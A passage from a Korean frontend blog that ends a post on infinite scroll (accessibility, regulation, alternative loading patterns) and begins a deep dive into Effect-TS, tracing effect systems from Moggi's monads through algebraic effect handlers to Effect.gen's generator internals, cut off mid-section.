ARIA 1.1에서 도입된 `role="feed"`는 스크린 리더 사용자를 위한 부분적 해결책이지만, 키보드 트랩, 인지 과부하, 운동 장애, 음성 인식, 저시력 사용자의 문제는 해결하지 못한다. W3C WCAG 논의의 결론은 명확하다 — 무한 스크롤은 **"현행 WCAG 2.0 기준으로 명확하게 다루지 못하는 실질적인 접근성 격차"**를 나타내며, WCAG 3.0에서 이를 다뤄야 한다.

## 규제 동향

기술적 논의를 넘어, 무한 스크롤은 이제 입법의 대상이 되고 있다. 미국 연방 수준의 KIDS Online Safety Act(KOSA)는 무한 스크롤을 미성년자 대상 "중독적 디자인 기능"의 대표 사례로 명시했고, 뉴욕주의 SAFE for Kids Act는 18세 미만 사용자에 대해 무한 스크롤, 알고리즘 피드, 자동 재생을 부모 동의 없이 제공하는 것을 제한한다(위반당 $5,000 벌금). 중국은 2021년부터 이미 미성년자 대상 앱에서 알고리즘 피드와 무한 스크롤에 시간 제한을 시행 중이다.

TikTok의 미성년자 60분 제한, Instagram의 "Take a Break", YouTube Shorts의 타이머 — 플랫폼도 규제 압력에 선제 대응하고 있다. 무한 스크롤 자체가 중독을 유발한다는 것은 과잉 단순화이고, 실제로 문제가 되는 것은 **알고리즘 피드 + 자동 재생 + 무한 스크롤의 결합**이다. 하지만 "미성년자 보호"라는 프레이밍이 붙으면 이 구분은 정치적으로 의미가 없어진다. 프론트엔드 엔지니어로서 알아둬야 할 것은, 무한 스크롤을 도입할 때 규제 컴플라이언스가 추가 비용이 될 수 있다는 점이다.

## 대안 패턴 비교

무한 스크롤을 대체할 수 있는 패턴들과 그 trade-off를 정리하면 다음과 같다.

| 패턴                                    | 장점                                     | 단점                                                   | 적합한 맥락              |
| --------------------------------------- | ---------------------------------------- | ------------------------------------------------------ | ------------------------ |
| **Pagination**                          | 위치 감각 유지, SEO 우수, 접근성 좋음    | 페이지 전환 마찰, 사용자 불만 높음                     | 검색 결과, 관리자 목록   |
| **Infinite Scroll**                     | 마찰 제거, 체류 시간 증가, 모바일 친화적 | 위치 상실, CLS 악화, 접근성 파괴                       | 소셜 피드, 이미지 갤러리 |
| **Load More 버튼**                      | 사용자 제어, CLS 우회, 접근성 양호       | 클릭 필요, 초기 구현은 단순하지만 스크롤 복원이 어려움 | 이커머스, 블로그 목록    |
| **Hybrid** (자동 N회 로딩 후 Load More) | 초반 마찰 제거 + 후반 제어               | 구현 복잡도 증가                                       | 콘텐츠 양이 많은 목록    |
| **Virtualized Infinite Scroll**         | 메모리/DOM 효율적, 대량 데이터 처리      | SSR 호환성, 가변 높이 처리 복잡, 접근성 문제 동일      | 대시보드, 데이터 테이블  |

Baymard Institute의 e-commerce UX 연구는 **"Load More" 버튼 + lazy loading** 조합을 권장한다. 이 방식에서 사용자는 페이지네이션보다 더 많은 상품을 탐색하면서도, 무한 스크롤보다 개별 상품을 더 주의 깊게 살펴봤다. 다만 조사 시점에서 미국 상위 50개 이커머스 사이트 중 이 패턴을 채택한 곳은 **8%**에 불과했다.

구체적인 가이드라인은 이렇다.

- **카테고리 페이지:** 10\~30개 상품을 초기 로딩, lazy loading으로 추가 10\~30개, 이후 "Load More" 버튼 표시
- **검색 결과:** 25~75개 상품 기본 로딩. **검색에는 절대 무한 스크롤을 사용하지 말 것** — Etsy의 실패가 이를 증명한다
- **모바일:** 15~30개 상품 후 "Load More" 표시
- **뒤로 가기:** `history.pushState()`를 사용해 URL을 업데이트하고, 뒤로 가기 시 스크롤 위치를 복원해야 한다. 벤치마크 대상 사이트의 **90% 이상**이 이 동작을 잘못 처리하고 있었다

## 마치며

무한 스크롤은 나쁜 패턴이 아니다. 맥락을 무시하고 쓸 때 나쁜 패턴이 된다.

소셜 피드처럼 목적 없는 탐색이 핵심인 서비스에서는 여전히 효과적이다. 하지만 이커머스 상품 목록, 검색 결과, 비교가 필요한 콘텐츠에서는 Etsy와 Google이 실증적으로 보여줬듯이 역효과를 낸다. 기술적으로는 DOM 비대화, CLS 악화, 접근성 파괴라는 비용을 수반하고, 법적으로는 "중독적 디자인"이라는 프레임 아래 규제의 대상이 되고 있다.

Nielsen Norman Group의 결론이 핵심을 잘 요약한다.

> "어떤 솔루션도(무한 스크롤, 페이지네이션, Load More, 통합 페이지네이션) 전반적으로 우월하지 않다."

패턴 자체에 선악은 없다. 사용자의 의도와 서비스의 목적에 맞는 선택이 핵심이다. 그리고 그 판단을 위해서는 — Etsy의 McKinley가 말했듯이 — "우리 사이트의 사용자를 더 잘 이해하는 것"이 선행되어야 한다.

## 참고

- [Infinite Scrolling: When to Use It, When to Avoid It - Nielsen Norman Group](https://www.nngroup.com/articles/infinite-scrolling-tips/)
- [Google Dropping Continuous Scroll in Search Results - Search Engine Land](https://searchengineland.com/google-dropping-continuous-scroll-in-search-results-443529)
- [Infinite Scroll Fail: Etsy - Dan McKinley](https://danwin.com/2013/01/infinite-scroll-fail-etsy/)
- [Design for Continuous Experimentation - Dan McKinley (Etsy A/B Test Data)](https://www.slideshare.net/danmckinley/design-for-continuous-experimentation)
- [Infinite Scrolling, Pagination Or "Load More" Buttons - Smashing Magazine (Baymard Institute)](https://www.smashingmagazine.com/2016/03/pagination-infinite-scrolling-load-more-buttons/)
- [Infinite Scrolling & Role Feed Accessibility Issues - Deque](https://www.deque.com/blog/infinite-scrolling-rolefeed-accessibility-issues/)
- [Infinite Scroll Accessibility: Is it Any Good? - DigitalA11Y](https://www.digitala11y.com/infinite-scroll-accessibility-is-it-any-good/)
- [W3C WCAG Discussion: Infinite Scroll Accessibility](https://github.com/w3c/wcag/discussions/3837)
- [Infinite Scroll Without Layout Shifts - Addy Osmani](https://addyosmani.com/blog/infinite-scroll-without-layout-shifts/)
- [Optimizing CLS for Infinite Scroll and Load More - Web Performance Calendar](https://calendar.perfplanet.com/2025/optimizing-cls-for-infinite-scroll-and-load-more/)
- [We Analyzed 4 Million Google Search Results - Backlinko](https://backlinko.com/google-ctr-stats)
- [Google Continuous Scroll Desktop Study - GSQI](https://www.gsqi.com/marketing-blog/google-continuous-scroll-study/)
- [Minimizing DOM Nodes for Performance - Expedia Group](https://medium.com/expedia-group-tech/minimizing-dom-nodes-for-performance-57f347df4c72)
- [MemLab: Finding JavaScript Memory Leaks - Facebook Engineering](https://engineering.fb.com/2022/09/12/open-source/memlab/)
- [Avoid an Excessive DOM Size - Chrome Lighthouse](https://developer.chrome.com/docs/lighthouse/performance/dom-size)
- [Mobile Page Speed Benchmarks - Google/SOASTA](https://business.google.com/ca-en/think/marketing-strategies/mobile-page-speed-new-industry-benchmarks/)
- [KIDS Online Safety Act - U.S. Congress](https://www.congress.gov/bill/119th-congress/senate-bill/1748/text)
- [NY SAFE for Kids Act - NY Attorney General](https://ag.ny.gov/press-release/2025/attorney-general-james-releases-proposed-rules-safe-kids-act-restrict-addictive)

---

Source: https://yceffort.kr/2026/02/effect-ts-deep-dive.md
Title: Effect 시스템 심층 분석: 모나드에서 Algebraic Effects까지, 그리고 Effect-TS의 선택
Description: Effect-TS가 대체 뭔데 다들 난리인지 직접 파헤쳐봤다.
Date: 2026-02-20
Tags: typescript, backend

## Table of Contents

## 서론

프로그램은 순수한 계산만으로는 쓸모없다. 네트워크 요청, 파일 읽기, 데이터베이스 쿼리, 로깅 — 모두 side effect다. 문제는 side effect가 프로그램의 추론을 어렵게 만든다는 것이다. 같은 함수를 같은 인자로 호출해도 네트워크 상태에 따라 결과가 달라지고, 에러가 발생하는 위치와 종류를 타입 시그니처만으로는 알 수 없다. 다음 코드를 살펴보자.

```typescript
// 이 함수가 어떤 side effect를 가지는지, 어떤 에러를 던지는지는 함수 밖에서 알 수 없다
async function getUser(id: string): Promise<User> {
  const res = await fetch(`/api/users/${id}`)
  if (!res.ok) throw new Error('HTTP error')
  return res.json()
}
```

"side effect를 타입 시스템으로 추적할 수 있으면 어떨까?" 이 질문에 대한 학계와 업계의 30년에 걸친 탐구가 이 글의 주제다. Moggi의 모나드에서 시작해, Plotkin과 Pretnar의 algebraic effect handler를 거쳐, TypeScript 생태계에서 Effect-TS가 어떤 현실적 타협을 했는지 살펴본다.

## Effect 시스템의 학술적 기원

"side effect를 타입으로 추적한다"는 아이디어는 하루아침에 나온 것이 아니다. 1991년부터 2009년까지, 약 20년에 걸친 학술 연구의 축적이 있었다.

### Moggi (1991): 모나드로 계산을 모델링하다

1991년, Eugenio Moggi는 ["Notions of Computation and Monads"](https://www.cs.cmu.edu/~crary/819-f09/Moggi91.pdf)라는 논문에서 혁신적인 관찰을 한다. **side effect가 있는 계산을 모나드(monad)라는 수학적 구조로 모델링할 수 있다**는 것이다.

핵심 아이디어는 이렇다. 순수 함수 `A → B`는 "A를 받아 B를 반환한다"는 의미다. 여기에 side effect를 추가하면 `A → T(B)`가 된다. `T`가 모나드이고, "B를 반환하긴 하는데, 그 과정에서 뭔가(effect)가 일어난다"는 것을 타입으로 표현한 것이다.

이 `T`에 무엇을 넣느냐에 따라 다양한 effect를 표현할 수 있다.

- `T(B) = B | Error` → 예외가 발생할 수 있는 계산
- `T(B) = State → (B, State)` → 상태를 변경하는 계산
- `T(B) = List<B>` → 비결정적 계산 (여러 결과 가능)
- `T(B) = IO<B>` → 외부 세계와 상호작용하는 계산

Haskell의 `IO` 모나드가 바로 이 아이디어의 직접적 산물이다. 하지만 모나드에는 근본적인 문제가 있었다. **서로 다른 모나드를 합성하기가 어렵다.** "예외가 발생할 수 있고 상태도 변경하는 계산"을 표현하려면 `EitherT[StateT[IO, S, _], E, A]` 같은 모나드 변환자(Monad Transformer) 스택을 쌓아야 했고, 이는 타입 추론을 망가뜨리고 성능을 저하시켰다.

### Plotkin & Power (2002): 모나드를 분해하다

Plotkin과 Power는 다른 관점을 제시했다. 모나드를 통째로 다루는 대신, **모나드를 개별 연산(operation)으로 분해할 수 있다**는 것이다. 예를 들어, State 모나드는 `get`과 `put` 두 연산으로 분해되고, Exception 모나드는 `raise` 연산으로 분해된다. 이 연산들을 "algebraic operation"이라 불렀다. "algebraic"이라는 이름은, 이 연산들이 대수학(algebra)에서의 연산처럼 일정한 법칙을 따르며 자유롭게 조합할 수 있다는 데서 붙었다. 따라서 **algebraic effect(대수적 효과)**란 "대수적 연산으로 분해할 수 있는 side effect"라는 뜻이다.

이 관찰이 중요한 이유는 **합성 문제를 해결했기 때문**이다. 모나드를 통째로 합성하는 건 어렵지만, 개별 연산들은 자유롭게 조합할 수 있다. "이 계산은 `get`, `put`, `raise`를 사용한다"라고 필요한 연산들을 나열하기만 하면, 그 연산들의 집합이 곧 이 계산의 effect 타입이 된다. 모나드 변환자 스택을 쌓을 필요 없이, 연산을 추가하고 싶으면 집합에 하나 더 넣으면 그만이다.

### Plotkin & Pretnar (2009): Algebraic Effect Handler의 탄생

2009년, Plotkin과 Pretnar는 ["Handlers of Algebraic Effects"](https://homepages.inf.ed.ac.uk/gdp/publications/Effect_Handlers.pdf)를 발표한다. 이 논문의 핵심 기여는 **exception handler를 일반화한 effect handler** 개념이다.

전통적인 exception handling을 생각해보자.

```typescript
try {
  // 예외가 발생할 수 있는 코드
  throw new Error('실패')
} catch (e) {
  // 예외를 처리하지만, 원래 위치로 돌아갈 수 없다
}
```

`throw`는 스택을 풀어버린다. 한 번 예외가 발생하면, 예외가 발생한 지점으로 돌아가 실행을 계속할 수 없다. Plotkin과 Pretnar의 effect handler는 이 제약을 깬다. **handler가 continuation을 받아서, 값을 돌려보내 원래 위치에서 실행을 재개할 수 있다.** 이것이 "resumable exception"이다.

여기서 **continuation**(계속, 연속)이란 "중단된 지점 이후에 남은 계산"을 가리킨다. 예를 들어 `let name = perform Ask; "Hello, " + name`에서 `perform Ask`가 실행을 중단시키면, 그 이후에 남은 계산인 `name을 받아서 "Hello, " + name을 반환하는 것`이 continuation이다. handler는 이 continuation을 값과 함께 호출해서 중단된 지점부터 실행을 이어갈 수 있다.

의사 코드(pseudocode)로 표현하면 이렇다.

```text
function getName() {
  // perform: 이펙트를 발생시킨다. throw와 비슷하지만 돌아올 수 있다.
  let name = perform 'askName'
  return "Hello, " + name
}

// handle: 이펙트를 처리한다. catch와 비슷하지만 resume할 수 있다.
try {
  getName()
} handle (effect) {
  if (effect === 'askName') {
    resume with "World"  // getName()의 name에 "World"가 들어가고 실행 계속
  }
}
// 결과: "Hello, World"
```

`perform`은 `throw`처럼 제어를 handler에게 넘기지만, `resume with`로 값을 돌려보내 중단된 지점에서 실행을 재개할 수 있다. 이것이 `try-catch`와의 결정적 차이다.

Dan Abramov가 ["Algebraic Effects for the Rest of Us"](https://overreacted.io/algebraic-effects-for-the-rest-of-us/)에서 설명한 것처럼, 이 메커니즘의 핵심 이점은 **중간 함수가 effect를 인식할 필요가 없다**는 것이다. `getName()`을 호출하는 코드와 `askName` 이펙트를 처리하는 코드 사이에 아무리 많은 함수가 있어도, 중간 함수들은 변경 없이 그대로 둘 수 있다. `async/await`처럼 모든 중간 함수에 `async`를 붙여야 하는 "function coloring" 문제가 발생하지 않는다. Function coloring이란 "함수가 두 가지 색(종류)으로 나뉘어, 한 색의 함수를 호출하려면 호출하는 쪽도 같은 색이어야 하는" 문제를 말한다. `async` 함수를 호출하려면 호출하는 쪽도 `async`여야 하는 것이 대표적인 예다.

### 실제 구현: Koka, Eff, OCaml 5

이 이론은 여러 프로그래밍 언어에서 실제로 구현되었다.

**Koka** (Microsoft Research): Daan Leijen이 설계한 언어로, algebraic effect를 핵심 기능으로 내장한다. 모든 함수의 effect가 row-polymorphic(행 다형성) 타입으로 추적된다. row-polymorphic이란 "effect의 목록이 유연하게 확장 가능하다"는 뜻으로, 함수가 사용하는 effect만 타입에 나열하고 나머지는 열어둘 수 있다. 예를 들어 `fun foo(): <exn, io> int`는 "이 함수는 예외를 던질 수 있고(`exn`), I/O를 수행하며(`io`), `int`를 반환한다"는 뜻이다. 이 effect 타입들은 모나드 변환자 스택 없이 자유롭게 합성된다.

**OCaml 5**: 2022년 릴리스된 OCaml 5는 multicore 지원과 함께 effect handler를 언어에 추가했다. `perform`으로 effect를 발생시키고, handler에서 `continue k value`로 continuation을 resume한다. 다만 single-shot continuation(일회용 continuation)만 지원한다 — 한 번 resume하면 같은 continuation을 다시 사용할 수 없다는 제약이 있지만, 이 덕분에 mutable 데이터와의 상호작용이 예측 가능하고 성능도 좋다.

앞서 본 의사코드와 동일한 동작을 OCaml 5 문법으로 작성하면 이렇다.

```ocaml
(* "문자열을 반환하는 Ask라는 effect가 있다"고 선언 *)
effect Ask : string

(* greet 함수: Ask effect를 발생시키고, 돌아온 값으로 인사말을 만든다 *)
let greet () =
  let name = perform Ask in  (* perform = 앞의 의사코드에서 perform과 동일 *)
  "Hello, " ^ name            (* ^는 문자열 연결 연산자 *)

(* handler: greet()를 실행하되, Ask effect가 발생하면 "World"를 돌려보낸다 *)
let result =
  match_with greet ()
  { effc = fun (type a) (eff : a Effect.t) ->
      match eff with
      | Ask -> Some (fun (k : (a, _) continuation) ->
          continue k "World")  (* continue = 의사코드의 resume with *)
      | _ -> None }
(* result = "Hello, World" *)
```

`perform Ask`가 실행되면 handler에게 제어가 넘어가고, handler가 `continue k "World"`로 `"World"`를 돌려보내면 `name`에 `"World"`가 들어가 실행이 재개된다.

이들의 공통점은 **언어 런타임이 continuation을 지원한다**는 것이다. `perform`이 호출되면 런타임이 현재 실행 상태(continuation)를 캡처하고, handler가 이를 resume할 수 있게 한다. 이 메커니즘은 언어 수준의 지원 없이는 구현할 수 없다.

## Effect-TS는 Algebraic Effect가 아니다

이 지점에서 중요한 구분이 필요하다. **Effect-TS는 algebraic effect를 구현한 것이 아니다.** 모나드 기반으로 effect 추적을 시뮬레이션하는 것이다.

### 근본적 차이

| 관점              | 진짜 Algebraic Effects (Koka, OCaml 5) | Effect-TS                                           |
| ----------------- | -------------------------------------- | --------------------------------------------------- |
| 기반 메커니즘     | 런타임 continuation 캡처               | 모나드 `flatMap` 체이닝                             |
| effect 발생       | `perform` (런타임이 처리)              | `Effect.fail`, `yield*` (타입 수준 추적)            |
| handler의 resume  | continuation을 resume할 수 있음        | 불가능 — 에러를 잡거나 변환만 가능                  |
| function coloring | 없음 — 일반 함수에서 effect 발생 가능  | 있음 — effectful 함수는 `Effect<A, E, R>` 반환 필수 |
| 중간 함수 영향    | 변경 불필요                            | 모든 중간 함수가 Effect 체인에 참여해야 함          |

가장 큰 차이는 **resumption(실행 재개) 불가**다. Algebraic effect handler는 effect가 발생한 지점으로 값을 돌려보내 실행을 재개할 수 있다. Effect-TS에서는 이것이 불가능하다. `catchTag`로 에러를 잡아 다른 값으로 대체할 수는 있지만, 에러가 발생한 바로 그 지점으로 돌아가 계속 실행하는 것은 할 수 없다.

**function coloring** 문제도 존재한다. `async/await`에서 `async` 함수를 호출하려면 호출하는 쪽도 `async`여야 하듯, Effect-TS에서 `Effect<A, E, R>`를 반환하는 함수를 호출하려면 호출하는 쪽도 Effect 체인 안에 있어야 한다.

```typescript
// Effect-TS: function coloring이 존재한다
const getUser = (id: string): Effect.Effect<User, NotFoundError> => /* ... */

// 이 함수를 호출하려면 호출하는 쪽도 Effect 안에 있어야 한다
const program = Effect.gen(function* () {
  const user = yield* getUser('123')  // Effect 체인 안에서만 호출 가능
  return user.name
})

// 일반 함수에서는 직접 호출할 수 없다
function getName(id: string): string {
  const user = getUser(id) // ← 이건 Effect 객체지, User가 아니다
  return user.name         // 타입 에러
}
```

### 왜 모나드 기반인가

TypeScript(JavaScript)에는 algebraic effect를 구현하기 위한 런타임 기능이 없다. `perform`이 호출됐을 때 현재 실행 상태(continuation)를 캡처하고, 나중에 resume하는 메커니즘이 언어에 존재하지 않는다.

JavaScript의 Generator(`function*`)가 어느 정도 continuation의 역할을 하긴 한다. `yield`로 실행을 중단하고 `.next(value)`로 재개할 수 있으니까. 하지만 Generator는 single-frame continuation일 뿐, 전체 콜 스택을 캡처하지 못한다. Generator 안에서 호출한 일반 함수 내부에서 `yield`를 할 수 없다는 것이다. 이것이 바로 "function coloring"이 발생하는 원인이다.

Effect-TS는 이 제약 안에서 최대한의 효과를 끌어낸다. `flatMap`(이전 계산의 결과를 받아 다음 계산을 반환하는 연산 — `Array.flatMap`과 같은 원리지만, 배열 대신 Effect를 이어붙인다) 체이닝으로 계산을 연결하고, `Effect<A, E, R>` 타입의 세 파라미터로 성공 값, 에러, 의존성을 추적한다. Algebraic effect의 perform/handle/resume 메커니즘은 아니지만, **"이 계산이 어떤 effect를 가지는가"를 타입으로 추적한다**는 핵심 아이디어는 공유한다.

## ZIO에서 Effect-TS로: 모나드 기반 접근의 진화

Algebraic effect가 언어 런타임 지원을 필요로 한다면, 런타임 지원이 없는 언어에서는 어떻게 해야 할까. Scala의 ZIO가 먼저 답을 내놨고, Effect-TS는 그 답을 TypeScript로 가져왔다.

### ZIO의 설계 결정

2018년, Scala 생태계의 John De Goes는 모나드 변환자의 실질적 한계에 부딪혔다. `EitherT[Future, Error, A]` 같은 타입 스택은 추론을 망가뜨렸고, 일반 개발자에게 설명하기 어려웠다.

De Goes의 해법은 **세 가지 타입 파라미터를 가진 단일 모나드** `ZIO[R, E, A]`였다.

```scala
// R = 필요한 환경(의존성), E = 실패 타입, A = 성공 타입
ZIO[UserRepository, NotFoundError, User]
```

모나드 변환자 스택 대신, 하나의 타입에 세 가지 관심사를 담았다.

- **A (성공)**: 계산이 성공하면 반환하는 값
- **E (에러)**: 발생 가능한 에러 — `Throwable` 고정이 아니라 제네릭. 컴파일 타임에 어떤 에러가 가능한지 추적된다.
- **R (환경)**: 이 계산을 실행하기 위해 필요한 서비스들. 반변성(contravariance)을 이용해 여러 이펙트의 의존성을 컴파일러가 자동으로 합집합한다. 반변성이란 "소비하는 쪽의 타입은 합쳐질 때 합집합이 된다"는 타입 이론의 성질이다. `R`은 이펙트가 "요구하는(소비하는)" 의존성이므로, 두 이펙트를 합성하면 `R`이 자동으로 `R1 | R2`가 된다.

Haskell의 관습도 버렸다. `pure` 대신 `ZIO.succeed`, `>>=` 대신 `for` comprehension(Scala의 `async/await`에 해당하는 문법). "모나드를 알아야 쓸 수 있는 라이브러리"가 아니라, "모나드를 몰라도 쓸 수 있는 라이브러리"를 지향한 것이다.

### TS+ 컴파일러 포크의 실패

Effect-TS가 ZIO를 TypeScript로 이식하는 과정에서, TS+(ts-plus)라는 실험적 TypeScript 컴파일러 포크가 시도되었다. 파이프 연산자, 연산자 오버로딩, 향상된 Do 문법 등을 TypeScript에 추가하려는 프로젝트였다.

실패 원인은 기술적이면서도 생태계적이었다.

**tsc의 아키텍처 한계**: 현대 빌드 도구(Next.js, Vite, esbuild)는 병렬 컴파일로 속도를 달성한다. TypeScript 컴파일러의 단일 스레드 아키텍처는 이 패러다임과 맞지 않았고, TS+ 포크는 HMR 환경에서 개발 속도를 오히려 악화시켰다.

**도구 생태계와의 충돌**: ESLint, Prettier 같은 도구와의 호환성은 유지했지만, Next.js나 Vite의 빌드 파이프라인에 끼어들 수 없었다. 커스텀 컴파일러를 도입하는 비용이 얻는 편의를 압도한 것이다.

이 경험에서 얻은 교훈은 명확했다. **컴파일러를 건드리지 말고, 순수 라이브러리로 해결하자.** 현재의 Effect-TS는 별도의 컴파일러나 빌드 도구 없이, TypeScript의 타입 시스템만으로 동작한다.

### Effect-TS의 `Effect<A, E, R>`

Effect-TS는 ZIO의 `ZIO[R, E, A]`를 TypeScript에 맞게 재설계했다. 파라미터 순서가 `Effect<A, E, R>`로 바뀌었는데(성공 타입이 먼저), 이는 TypeScript의 제네릭 기본값 문법 때문이다. `E`와 `R`의 기본값을 `never`로 설정하면, 에러나 의존성이 없는 단순한 이펙트를 `Effect<number>`처럼 간결하게 쓸 수 있다.

```typescript
import {Effect, Data, Context} from 'effect'

// 에러 정의 — _tag 필드로 discriminated union 구성
class NotFoundError extends Data.TaggedError('NotFoundError')<{
  readonly id: string
}> {}

class NetworkError extends Data.TaggedError('NetworkError')<{
  readonly cause: unknown
}> {}

// 서비스 인터페이스 정의
class UserRepository extends Context.Tag('UserRepository')<
  UserRepository,
  {
    readonly findById: (id: string) => Effect.Effect<User, NotFoundError>
  }
>() {}

// 이 함수의 타입이 모든 것을 말해준다:
// "UserRepository가 필요하고, NotFoundError 또는 NetworkError가 발생할 수 있고, 성공하면 User를 반환한다"
const getUser = (
  id: string,
): Effect.Effect<User, NotFoundError | NetworkError, UserRepository> =>
  Effect.gen(function* () {
    const repo = yield* UserRepository
    return yield* repo.findById(id)
  })
```

## Effect.gen의 내부: Generator로 do-notation 구현하기

`Effect.gen`은 Effect-TS에서 가장 많이 쓰이는 API다. `async/await`처럼 생긴 코드를 쓸 수 있게 해주는데, 내부적으로는 상당히 흥미로운 트릭을 사용한다.

### 왜 `yield*`인가

`yield`가 아니라 `yield*`를 쓰는 이유가 있다. JavaScript의 `yield*`는 다른 iterable/generator에게 **위임(delegation)**하는 연산자다. `yield`가 단일 값을 외부로 전달하는 것과 달리, `yield*`는 내부 generator의 모든 `yield`를 외부로 전파하고, **내부 generator의 return 값을 표현식의 결과로 받을 수 있다.**

```typescript
function* inner() {
  yield 1
  yield 2
  return 42 // ← 이 값이 yield*의 결과가 된다
}

function* outer() {
  const result = yield* inner()
  // result === 42
}
```

Effect-TS는 이 메커니즘을 활용한다. 모든 `Effect` 객체는 `Symbol.iterator`를 구현하고 있어서 `yield*`의 대상이 될 수 있다. 핵심은 Effect의 iterator 구현이 **자기 자신을 `yield`한 뒤, 주입받은 값을 `return`하는** 구조라는 점이다.

```typescript
// Effect 객체의 Symbol.iterator 구현을 단순화하면 이런 구조다
class EffectImpl<A, E, R> {
  *[Symbol.iterator]() {
    // 1. 자기 자신(Effect 객체)을 yield → gen 런타임에 전달
    // 2. 런타임이 이 Effect를 실행한 뒤 .next(result)로 결과를 주입
    // 3. 주입받은 값을 return → yield*의 결과값이 됨
    return (yield this) as A
  }
}
```

`yield* getUser(id)`가 실행되면 이런 일이 벌어진다.

1. `getUser(id)`가 반환한 Effect 객체의 `[Symbol.iterator]()`가 호출된다.
2. 내부 generator가 `yield this`를 실행 — Effect 객체 자체가 `Effect.gen` 런타임으로 전달된다.
3. 런타임이 이 Effect를 실행하고, 결과를 `.next(result)`로 내부 generator에 주입한다.
4. 내부 generator가 `return result` — 이 값이 `yield*`의 평가 결과가 되어 `const user`에 들어간다.

결국 `yield this` → `.next(result)` → `return result`라는 세 단계를 통해, Effect 객체의 "실행"과 "결과 주입"이 generator 프로토콜 안에서 깔끔하게 이루어진다. `Effect.gen` 런타임은 이 과정을 반복하는 루프다.

```typescript
// Effect.gen 런타임의 핵심 루프를 단순화하면 이렇다
function runGen(genFn) {
  const gen = genFn()
  let result = gen.next()

  while (!result.done) {
    const effect = result.value // yield된 Effect 객체
    const value = runEffect(effect) // Effect 실행
    result = gen.next(value) // 결과를 generator에 주입, 다음 yield로 진행
  }

  return result.value // generator의 return 값 = 최종 성공 값
}
```

코드상으로는 마치 동기적으로 값을 꺼내는 것처럼 보이지만, 실제로는 런타임이 generator 프로토콜을 통해 Effect를 하나씩 받아 실행하고 결과를 되돌려주는 루프가 돌고 있다.

### 타입 추론의 핵심

`yield*`가 Effect 객체를 런타임에 넘길 때, 각 Effect가 가진 에러 타입(`E`)과 의존성 타입(`R`) 정보도 함께 전파된다. `Effect.gen`은 generator 안에서 `yield*`된 모든 Effect의 `E`와 `R`을 모아서, 최종 Effect의 에러 타입과 의존성 타입을 자동으로 추론한다. generator의 return 값이 최종 Effect의 성공 타입 `A`가 된다.

결과적으로, 별도의 타입 어노테이션 없이도 전체 파이프라인의 타입이 정확하게 추론된다.

### 제약: single-shot

이 방식에는 중요한 제약이 있다. JavaScript의 Generator는 **한 번만 순회할 수 있다.** iterator가 진행하면 되돌릴 수 없다. 이 때문에 Effect.gen은 single-shot effect(하나의 결과를 반환하는 Effect)에만 사용할 수 있고, Stream 같은 multi-shot effect에는 쓸 수 없다. Stream을 처리하려면 `pipe`와 전용 연산자를 사용해야 한다.

## Effect-TS가 해결하려는 문제

이론적 배경을 살펴봤으니, 이제 Effect-TS가 실질적으로 어떤 문제를 해결하는지 구체적으로 짚어보자. Promise 기반 코드에서 반복적으로 마주치는 문제들이 Effect-TS의 설계 동기다.

### 에러 타입의 소실

Promise의 에러는 `unknown`이다. `catch` 블록에서 에러의 타입을 알 수 없고, 어떤 에러가 발생할 수 있는지 함수 시그니처에 드러나지 않는다.

```typescript
// Promise: 어떤 에러가 발생하는지 타입에 없다
async function getUser(id: string): Promise<User> {
  const res = await fetch(`/api/users/${id}`)
  if (res.status === 404) throw new NotFoundError(id)
  if (!res.ok) throw new NetworkError(res.statusText)
  return res.json()
}

// 호출하는 쪽에서 어떤 에러를 처리해야 하는지 알 수 없다
try {
  const user = await getUser('123')
} catch (e) {
  // e는 unknown — NotFoundError? NetworkError? TypeError?
}
```

에러가 `unknown`이므로 팀 전체가 "이 함수는 이런 에러를 던진다"는 암묵적 규약에 의존하게 된다. 코드가 바뀌면 규약도 바뀌지만, 컴파일러가 알려주지 않는다.

### 암묵적 의존성

함수가 어떤 외부 서비스에 의존하는지 시그니처에 나타나지 않는다.

```typescript
// 이 함수는 DB, Redis, Logger에 의존하지만 시그니처에 없다
async function processOrder(order: Order): Promise<void> {
  const user = await db.findUser(order.userId) // DB 의존
  await redis.set(`order:${order.id}`, order) // Redis 의존
  logger.info('Order processed', {orderId: order.id}) // Logger 의존
  await emailService.send(user.email, 'Order confirmed') // Email 의존
}
```

테스트에서 이 함수를 호출하려면 `db`, `redis`, `logger`, `emailService`를 모킹해야 하는데, 함수 시그니처만 보고는 무엇을 모킹해야 하는지 알 수 없다. 함수 본문을 읽어야 한다.

### 리소스 누수

데이터베이스 커넥션, 파일 핸들 같은 리소스는 반드시 해제해야 한다. `try-finally`로 처리하지만, 여러 리소스가 중첩되면 보일러플레이트가 폭발한다.

```typescript
// 리소스가 늘어날수록 try-finally 중첩이 깊어진다
const conn = await pool.connect()
try {
  const file = await fs.open('/tmp/export.csv', 'w')
  try {
    await exportData(conn, file)
  } finally {
    await file.close()
  }
} finally {
  conn.release()
}
```

에러가 `finally` 안에서 발생하면 원래 에러가 삼켜지는 문제도 있다.

### 동시성 관리의 어려움

`Promise.all`로 병렬 실행할 수 있지만, 하나가 실패했을 때 나머지를 취소하는 것은 직접 구현해야 한다. `AbortController`를 수동으로 관리하는 코드는 읽기 어렵고 누락하기 쉽다.

Effect-TS는 이 네 가지 문제를 `Effect<A, E, R>` 타입 하나로 해결한다. 이제부터 각각을 어떻게 해결하는지 구체적으로 살펴보자.

## Effect-TS의 핵심 기능

앞서 Effect-TS가 해결하려는 문제를 봤다면, 이제 실제로 어떻게 해결하는지 하나씩 살펴보자. 에러 처리, 의존성 주입, 리소스 관리, 동시성까지 — 각 기능이 왜 그렇게 설계되었는지에 초점을 맞춘다.

### pipe와 Effect.gen: 두 가지 코드 스타일

Effect-TS에서 코드를 작성하는 방법은 크게 두 가지다.

**pipe 스타일**: 함수 합성 기반. 데이터 변환이 주된 로직일 때 간결하다.

```typescript
import {Effect, pipe} from 'effect'

const program = pipe(
  Effect.succeed(5),
  Effect.map((n) => n * 2),
  Effect.flatMap((n) => (n > 0 ? Effect.succeed(n) : Effect.fail('negative'))),
  Effect.catchAll((e) => Effect.succeed(0)),
)
```

**gen 스타일**: `async/await`와 유사한 형태. 분기, 반복, 중간 변수가 필요한 복잡한 로직에서 가독성이 좋다.

```typescript
const program = Effect.gen(function* () {
  const n = yield* Effect.succeed(5)
  const doubled = n * 2
  if (doubled <= 0) {
    return yield* Effect.fail('negative')
  }
  return doubled
})
```

두 스타일은 혼용할 수 있다. 실무에서는 비즈니스 로직을 `Effect.gen`으로 작성하고, 에러 처리나 재시도 같은 횡단 관심사를 `pipe`로 붙이는 패턴이 흔하다.

```typescript
